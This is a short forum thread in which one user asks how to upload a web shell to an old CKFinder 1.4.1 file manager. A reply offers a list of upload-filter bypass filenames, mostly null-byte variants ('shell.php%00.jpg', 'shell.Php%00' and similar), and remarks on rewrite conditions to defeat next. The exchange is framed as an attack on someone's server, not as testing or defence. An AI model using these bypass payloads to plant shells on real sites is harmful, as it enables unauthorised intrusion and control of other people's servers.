Thread: [How do I upload a shell to cKfinder?](#)

Ays4R-H4rB - March 22, 2016, 3:11 pm

version 1.4.1 , old one , and i tried null byte shell.php;.jpg not worked
any one could help with this ?

?

Try the following

Code shell.php;

shell.php%00.jpg < -- By the way, this is what you call a null byte.

shell.php%00jpg

shell.Php%00

If you succeed in bypassing it, you will be faced with other issues like condition rewrites.

Let me know how that goes.
